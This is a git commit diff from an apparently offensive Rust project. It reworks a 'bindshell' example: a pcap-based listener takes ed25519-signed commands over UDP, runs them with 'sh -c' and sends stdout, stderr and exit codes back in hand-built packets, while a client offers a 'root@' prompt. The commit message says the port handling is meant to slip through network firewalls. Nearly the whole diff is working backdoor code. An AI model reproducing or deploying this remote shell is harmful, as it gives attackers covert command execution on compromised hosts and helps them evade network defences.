refactor: redid the bindshell example

Made it use a single UDP client as well as proper randomized ports to go
through network firewalls, requiring stdin, status, stderr, and stdout
all go over a single UDP socket

Updated the client to have a prompt
This commit is contained in:
Andrew Rioux 2023-05-09 21:02:46 -04:00
parent 8ad7127d4d
commit f1e5b2d979
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
7 changed files with 263 additions and 90 deletions

View File

@ -25,7 +25,7 @@ ENV DEBIAN_FRONTEND=noninteractive \
VISUAL='code -w' VISUAL='code -w'
RUN apt-get update && \ RUN apt-get update && \
apt install -y cmake git libtool valgrind docker-compose lldb sudo zsh wget && \ apt install -y cmake git libtool valgrind docker-compose lldb sudo zsh wget tmux && \
apt-get autoremove -y && apt-get clean -y && rm -rf /var/lib/apt/lists/* && \ apt-get autoremove -y && apt-get clean -y && rm -rf /var/lib/apt/lists/* && \
adduser ${USERNAME} && \ adduser ${USERNAME} && \
echo "$USERNAME ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers && \ echo "$USERNAME ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers && \

View File

@ -1,3 +1,5 @@
extend = "./examples/Makefile.toml"
[env] [env]
CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true

8
examples/Makefile.toml Normal file
View File

@ -0,0 +1,8 @@
[tasks.examples-bindshell-run]
workspace = false
dependencies = ["build"]
script = '''
tmux new-session -d -s bindshell 'docker-compose up examples_bindshell_target'
tmux split-window -h 'docker-compose run examples_bindshell_client'
tmux -2 attach -t bindshell
'''

View File

@ -12,7 +12,9 @@ use ex_bind_shell_key_generator::PUBKEY;
#[tokio::main] #[tokio::main]
async fn main() -> anyhow::Result<()> { async fn main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new().init()?; simple_logger::SimpleLogger::new()
.with_level(log::LevelFilter::Info)
.init()?;
let pubkey = let pubkey =
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?); Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
@ -25,6 +27,8 @@ async fn main() -> anyhow::Result<()> {
.find(|eth| eth.starts_with("eth")) .find(|eth| eth.starts_with("eth"))
.ok_or(anyhow!("Could not get an ethernet interface"))?; .ok_or(anyhow!("Could not get an ethernet interface"))?;
log::info!("Attaching to interface {}", &interface_name);
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?; let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
interface.set_buffer_size(8192)?; interface.set_buffer_size(8192)?;
@ -43,22 +47,31 @@ async fn main() -> anyhow::Result<()> {
enum EventType { enum EventType {
Packet(Result<EthernetPacket, pcap_sys::error::Error>), Packet(Result<EthernetPacket, pcap_sys::error::Error>),
Send(EthernetPacket), Send(EthernetPacket),
Exit,
} }
let mut packets = interface.stream()?; let mut packets = interface.stream()?;
let (packet_sender, mut packets_to_send) = mpsc::channel(64); let (packet_sender, mut packets_to_send) = mpsc::channel(64);
let (exit_sender, mut exit_handler) = mpsc::channel(1);
while let Some(evt) = tokio::select! { while let Some(evt) = tokio::select! {
v = packets.next() => v.map(EventType::Packet), v = packets.next() => v.map(EventType::Packet),
v = packets_to_send.recv() => v.map(EventType::Send) v = packets_to_send.recv() => v.map(EventType::Send),
v = exit_handler.recv() => v.map(|_| EventType::Exit)
} { } {
match evt { match evt {
EventType::Packet(pkt) => { EventType::Packet(pkt) => {
if let Ok(pkt) = pkt { if let Ok(pkt) = pkt {
let packet_sender_clone = packet_sender.clone(); let packet_sender_clone = packet_sender.clone();
let exit_sender_clone = exit_sender.clone();
let pubkey_clone = pubkey.clone(); let pubkey_clone = pubkey.clone();
tokio::spawn(async move { tokio::spawn(async move {
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await if let Err(e) = handle_command(
pubkey_clone,
pkt,
packet_sender_clone,
exit_sender_clone
).await
{ {
log::warn!("Error handling packet: {e}"); log::warn!("Error handling packet: {e}");
} }
@ -68,6 +81,9 @@ async fn main() -> anyhow::Result<()> {
EventType::Send(pkt) => { EventType::Send(pkt) => {
packets.sendpacket(pkt.pkt())?; packets.sendpacket(pkt.pkt())?;
} }
EventType::Exit => {
break;
}
} }
} }
@ -78,48 +94,93 @@ async fn handle_command(
pubkey: Arc<PublicKey>, pubkey: Arc<PublicKey>,
eth: EthernetPacket, eth: EthernetPacket,
send_response: mpsc::Sender<EthernetPacket>, send_response: mpsc::Sender<EthernetPacket>,
send_exit: mpsc::Sender<()>
) -> anyhow::Result<()> { ) -> anyhow::Result<()> {
use pcap_sys::packets::*; use pcap_sys::packets::*;
let eth_pkt = eth.pkt(); let eth_pkt = eth.pkt();
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?; let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
let source_port = udp_pkt.srcport();
let error_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, 255]);
let error_ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(error_udp_packet),
);
let error_eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(error_ip_packet),
);
let data = udp_pkt.get_data(); let data = udp_pkt.get_data();
if data.len() < 65 { if data.len() < 65 {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
bail!("Packet was too short") bail!("Packet was too short")
} }
let signature: [u8; 64] = data[..64] let Ok(signature): Result<[u8; 64], _> = data[..64].try_into() else {
.try_into() if let Err(e) = send_response.send(error_eth_packet.clone()).await {
.context("could not get signature from command")?; log::warn!("Could not send command done packet: {e:?}");
}
bail!("could not get signature from command")
};
let signature = Signature::from(signature); let signature = Signature::from(signature);
let cmd = &data[64..]; let cmd = &data[64..];
pubkey if let Err(e) = pubkey.verify(cmd, &signature) {
.verify(cmd, &signature) if let Err(e) = send_response.send(error_eth_packet.clone()).await {
.context("message provided was unauthenticated")?; log::warn!("Could not send command done packet: {e:?}");
}
return Err(e).context("message provided was unauthenticated");
}
let cmd = OsStr::from_bytes(cmd); let cmd = OsStr::from_bytes(cmd);
log::info!("Received command to execute: {cmd:?}"); log::info!("Received command to execute: {cmd:?}");
let child = process::Command::new("sh") let cmd_str = std::str::from_utf8(cmd.as_bytes());
match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
Ok(["exit"]) => {
send_exit.send(()).await;
return Ok(());
}
Ok(["cd", dir]) => {
std::env::set_current_dir(dir)?;
return Ok(());
}
_ => {}
}
let Ok(mut child) = (process::Command::new("sh")
.arg("-c") .arg("-c")
.arg(cmd) .arg(cmd)
.stdin(Stdio::null()) .stdin(Stdio::null())
.stdout(Stdio::piped()) .stdout(Stdio::piped())
.stderr(Stdio::piped()) .stderr(Stdio::piped()))
.spawn()?; .spawn() else {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
bail!("could not spawn child")
};
let mut stdout = child {
.stdout let stdout = match &mut child.stdout {
.ok_or(anyhow!("could not get child process stdout"))?; Some(ref mut stdout) => stdout,
let mut stderr = child None => bail!("could not get child process stdout")
.stderr };
.ok_or(anyhow!("could not get child process stdout"))?; let stderr = match &mut child.stderr {
Some(ref mut stderr) => stderr,
None => bail!("could not get child process stderr")
};
enum Output { enum Output {
Out, Out,
@ -143,12 +204,17 @@ async fn handle_command(
Output::Err => stderr_buffer, Output::Err => stderr_buffer,
Output::Out => stdout_buffer, Output::Out => stdout_buffer,
}[..len]; }[..len];
let port = match out_type {
Output::Err => 54249,
Output::Out => 54248,
};
let udp_packet = UDPPacket::construct(54248, port, msg); let fullmsg = &[
match out_type {
Output::Out => &[1],
Output::Err => &[2]
},
msg
]
.concat();
let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg);
let ip_packet = IPv4Packet::construct( let ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(), ip_pkt.dest_ip(),
ip_pkt.source_ip(), ip_pkt.source_ip(),
@ -164,6 +230,33 @@ async fn handle_command(
log::warn!("Could not send response packet: {e:?}"); log::warn!("Could not send response packet: {e:?}");
} }
} }
}
let exit_code = child
.wait()
.await
.map(|s| s.code())
.ok()
.flatten()
.unwrap_or(255)
.try_into()
.unwrap();
let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]);
let done_ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(done_udp_packet),
);
let done_eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(done_ip_packet),
);
if let Err(e) = send_response.send(done_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
log::info!("Done executing command {cmd:?}"); log::info!("Done executing command {cmd:?}");

View File

@ -1,63 +1,133 @@
use std::{io::prelude::*, net::UdpSocket, thread}; use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}};
use anyhow::{anyhow, Context}; use anyhow::{anyhow, Context};
use ed25519_dalek::{Keypair, Signer}; use ed25519_dalek::{Keypair, Signer};
use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY}; use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY};
enum Msg<'a> {
Ready(u8),
Stdout(&'a [u8]),
Stderr(&'a [u8]),
}
impl Msg<'_> {
fn parse<'a>(bytes: &'a [u8]) -> Option<Msg<'a>> {
match bytes[0] {
0 => Some(Msg::Ready(bytes[1])),
1 => Some(Msg::Stdout(&bytes[1..])),
2 => Some(Msg::Stderr(&bytes[1..])),
_ => None
}
}
}
fn main() -> anyhow::Result<()> { fn main() -> anyhow::Result<()> {
let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat()) let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat())
.context("could not parse generated private key")?; .context("could not parse generated private key")?;
let mut stdout = std::io::stdout(); let stdout_inuse = Arc::new((Mutex::new(false), Condvar::new()));
let stdout_arc = Arc::new(Mutex::new(std::io::stdout()));
let mut stderr = std::io::stderr(); let mut stderr = std::io::stderr();
let stdin = std::io::stdin(); let stdin = std::io::stdin();
let mut args = std::env::args(); let target = std::env::args()
args.next(); .skip(1)
let target = args.next().ok_or(anyhow!("Please specify a target IP"))?; .next()
.ok_or(anyhow!("Please specify a target IP"))?;
let remote_stdin = UdpSocket::bind("0.0.0.0:0")?; let remote = UdpSocket::bind("0.0.0.0:0")?;
let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?; let remote_listen = remote.try_clone()?;
let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?;
let out_thread = thread::spawn(move || { let out_thread = {
let mut buffer = [0u8; 1024]; let stdout_inuse = Arc::clone(&stdout_inuse);
let stdout_arc = Arc::clone(&stdout_arc);
thread::spawn(move || {
let mut buffer = [0u8; 1536];
loop { loop {
let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; }; let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; };
let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; }; let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; };
match msg {
Msg::Ready(_) => {
let (lock, cvar) = &*stdout_inuse;
let Ok(mut inuse) = lock.lock() else {
eprintln!("Could not get lock on message handle!");
return;
};
*inuse = false;
cvar.notify_one();
},
Msg::Stderr(err) => {
let _ = stderr.write(err);
},
Msg::Stdout(out) => {
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
let _ = stdout.write(out);
} }
});
let err_thread = thread::spawn(move || {
let mut buffer = [0u8; 1024];
loop {
let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; };
let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; };
} }
}); }
})
};
// sending a single command helps out with buffers, I guess
// first message is always dropped
remote.send_to(b"ls /", &target)?;
let mut cwd = "/".to_owned();
loop { loop {
let mut cmd = String::new(); {
let Ok(_) = stdin.read_line(&mut cmd) else { continue; }; let (lock, cvar) = &*stdout_inuse;
let cmd = cmd.trim(); let Ok(mut inuse) = lock.lock() else {
eprintln!("Could not get lock on message handle!");
if cmd == "exit" {
break; break;
};
while *inuse {
inuse = cvar.wait(inuse).unwrap();
}
}
{
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; };
let _ = stdout.flush();
}
let mut cmd = String::new();
let Ok(amount) = stdin.read_line(&mut cmd) else { continue; };
let mut cmd = cmd.trim();
if amount == 0 {
cmd = "exit";
} }
let signature = privkey.sign(cmd.as_bytes()).to_bytes(); let signature = privkey.sign(cmd.as_bytes()).to_bytes();
let msg = &[&signature, cmd.as_bytes()].concat(); let msg = &[&signature, cmd.as_bytes()].concat();
let Ok(_) = remote_stdin.send_to(msg, &target) else { let Ok(_) = remote.send_to(msg, &target) else {
continue; continue;
}; };
match cmd.split(" ").collect::<Vec<_>>()[..] {
["exit"] => { break },
["cd", dir] => { cwd = dir.to_owned(); },
_ => {
let (lock, _) = &*stdout_inuse;
let Ok(mut inuse) = lock.lock() else {
eprintln!("Could not get lock on message handle!");
break;
};
*inuse = true;
}
}
} }
drop(out_thread); drop(out_thread);
drop(err_thread);
Ok(()) Ok(())
} }

View File

@ -14,4 +14,4 @@
// along with this program. If not, see <http://www.gnu.org/licenses/>. // along with this program. If not, see <http://www.gnu.org/licenses/>.
pub const PUBKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey")); pub const PUBKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey"));
pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey")); pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/privkey"));

View File

@ -14,7 +14,7 @@ pub trait Protocol<I, T> {
/// Allows for composing multiple protocols on top of each other, for instance to use /// Allows for composing multiple protocols on top of each other, for instance to use
/// TCP fragmenting to work with HTTP to form a complete packet, and then take the HTTP /// TCP fragmenting to work with HTTP to form a complete packet, and then take the HTTP
/// conversation and encode Sparse messages into it /// conversation and encode Sparse messages into it
fn compose<P, U>(self, other: P) -> ProtocolCompose<Self, P, I, J, T, U> fn compose<P, J, U>(self, other: P) -> ProtocolCompose<Self, P, I, J, T, U>
where where
J: From<T>, J: From<T>,
P: Protocol<J, U> + Sized, P: Protocol<J, U> + Sized,
@ -43,14 +43,14 @@ pub struct ProtocolCompose<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>
generic_u: PhantomData<U>, generic_u: PhantomData<U>,
} }
impl<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>, T, U> Protocol<I, U> /*impl<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>, T, U> Protocol<I, U>
for ProtocolCompose<P1, P2, I, J, T, U> for ProtocolCompose<P1, P2, I, J, T, U>
{ {
fn handle_event(&mut self, packet: I) -> U { fn handle_event(&mut self, packet: I) -> U {
let elem1 = self.protocol1.handle_event(packet); let elem1 = self.protocol1.handle_event(packet);
self.protocol2.handle_event(elem1) self.protocol2.handle_event(elem1)
} }
} }*/
/// High level protocol that used for the overall application /// High level protocol that used for the overall application
/// ///